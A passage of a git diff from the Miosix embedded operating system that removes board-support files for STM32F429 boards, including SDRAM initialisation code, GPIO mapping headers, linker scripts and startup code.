11.1ns - //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (66.6ns>63ns) - | (2-1)<<20; // 2 cycle TRP (22.2ns>15ns) - FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD - | (7-1)<<4 // 7 cycle TXSR (77.7ns>70ns) - | (4-1)<<8 // 4 cycle TRAS (44.4ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (22.2ns>15ns) - #elif defined(SYSCLK_FREQ_168MHz) - //One SDRAM clock cycle is 11.9ns - //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (71.4ns>63ns) - | (2-1)<<20; // 2 cycle TRP (23.8ns>15ns) - FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD - | (6-1)<<4 // 6 cycle TXSR (71.4ns>70ns) - | (4-1)<<8 // 4 cycle TRAS (47.6ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (23.8ns>15ns) - #else - #error No SDRAM timings for this clock - #endif - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 - | 1; // MODE=001 clock enabled - sdramCommandWait(); - - //ST and SDRAM datasheet agree a 100us delay is required here. - delayUs(100); - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 - | 2; // MODE=010 precharge all command - sdramCommandWait(); - - FMC_Bank5_6->SDCMR= (8-1)<<5 // NRFS=8 SDRAM datasheet says - // "at least two AUTO REFRESH cycles" - | FMC_SDCMR_CTB2 // Enable bank 2 - | 3; // MODE=011 auto refresh - sdramCommandWait(); - - FMC_Bank5_6->SDCMR=0x220<<9 // MRD=0x220:CAS latency=2 burst len=1 - | FMC_SDCMR_CTB2 // Enable bank 2 - | 4; // MODE=100 load mode register - sdramCommandWait(); - - // 64ms/4096=15.625us - #ifdef SYSCLK_FREQ_180MHz - //15.625us*90MHz=1406-20=1386 - FMC_Bank5_6->SDRTR=1386<<1; - #elif defined(SYSCLK_FREQ_168MHz) - //15.625us*84MHz=1312-20=1292 - FMC_Bank5_6->SDRTR=1292<<1; - #else - #error No refresh timings for this clock - #endif -} - -void IRQbspInit() -{ - //If using SDRAM GPIOs are configured by configureSdram(), else configure them here - #ifndef __ENABLE_XRAM - configureGpio(); - #endif //__ENABLE_XRAM - - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/bsp_impl.h deleted file mode 100644 index 7d3cb8e80..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,71 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" -#include "hwmapping.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss - * Requires the CPU clock to be already configured (running from the PLL) - */ -void configureSdram(); - -inline void ledOn() -{ - led::high(); -} - -inline void ledOff() -{ - led::low(); -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/hwmapping.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/hwmapping.h deleted file mode 100644 index 0b545cc29..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,118 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -typedef Gpio led; - -namespace expansion { -typedef Gpio gpio2; -typedef Gpio gpio3; -typedef Gpio gpio4; -typedef Gpio spi1sck; -typedef Gpio spi1mosi; -typedef Gpio spi1miso; -typedef Gpio spi1cs; -typedef Gpio spi2sck; -typedef Gpio spi2mosi; -typedef Gpio spi2miso; -typedef Gpio spi2cs; - -} - -namespace button { -typedef Gpio b1; -typedef Gpio b2; -typedef Gpio b3; -typedef Gpio b4; -} - -namespace usb { -typedef Gpio dm; -typedef Gpio dp; -} - -namespace display { -typedef Gpio vregEn; -typedef Gpio reset; -typedef Gpio cs; -typedef Gpio sck; -typedef Gpio mosi; -typedef Gpio dotclk; -typedef Gpio hsync; -typedef Gpio vsync; -typedef Gpio en; -typedef Gpio r5; -typedef Gpio r4; -typedef Gpio r3; -typedef Gpio r2; -typedef Gpio r1; -typedef Gpio r0; -typedef Gpio g5; -typedef Gpio g4; -typedef Gpio g3; -typedef Gpio g2; -typedef Gpio g1; -typedef Gpio g0; -typedef Gpio b5; -typedef Gpio b4; -typedef Gpio b3; -typedef Gpio b2; -typedef Gpio b1; -typedef Gpio b0; -} - -namespace unused { -typedef Gpio u1; -typedef Gpio u2; -typedef Gpio u3; -typedef Gpio u4; -typedef Gpio u5; -typedef Gpio u6; -typedef Gpio u7; -typedef Gpio u8; -typedef Gpio u9; -typedef Gpio u10; -typedef Gpio u11; -typedef Gpio u12; -typedef Gpio u13; -typedef Gpio u14; -typedef Gpio u15; -typedef Gpio u16; -typedef Gpio u17; -typedef Gpio u18; -typedef Gpio u19; -} - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/stm32_2m+256k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/stm32_2m+256k_rom.ld deleted file mode 100644 index e2425d265..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/stm32_2m+256k_rom.ld +++ /dev/null @@ -1,180 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - stacks and heap in the "large" 192KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 192KB RAM */ -_end = 0x20000000; -_heap_end = 0x20030000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/stm32_2m+6m_xram.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/stm32_2m+6m_xram.ld deleted file mode 100644 index b61f04cea..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/stm32_2m+6m_xram.ld +++ /dev/null @@ -1,183 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM, 8M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - .data, .bss, stacks and heap in the external 6MB SDRAM. - * Note that the SDRAM is 8MB, but this linker script only uses the lower 6. - * The upper 2MB are reserved as framebuffers for the LCD. Notice that the - * choice to allocate this space is due to the SDRAM architecture, composed of - * 4 banks of 2MB each. Reserving a bank for the LCD allows the software - * running on the board and the LCD to operate (almost) independently. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into XRAM */ -_heap_end = 0xd0600000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K - xram(wx) : ORIGIN = 0xd0000000, LENGTH = 6M - lcdram(wx) : ORIGIN = 0xd0600000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/stm32_2m+8m_xram.ld b/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/stm32_2m+8m_xram.ld deleted file mode 100644 index 78fe53104..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/stm32_2m+8m_xram.ld +++ /dev/null @@ -1,177 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 256K RAM, 8M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - .data, .bss, stacks and heap in the external 8MB SDRAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into XRAM */ -_heap_end = 0xd0800000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 192K - xram(wx) : ORIGIN = 0xd0000000, LENGTH = 8M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/core/stage_1_boot.cpp deleted file mode 100644 index c4d44696b..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/core/stage_1_boot.cpp +++ /dev/null @@ -1,414 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f42x devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - //ST does not provide code to initialize the stm32f429-disco SDRAM at boot. - //Put after SystemInit() as SDRAM is timing-sensitive and needs the full - //clock speed. - #ifdef __ENABLE_XRAM - miosix::configureSdram(); - #endif //__ENABLE_XRAM - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) 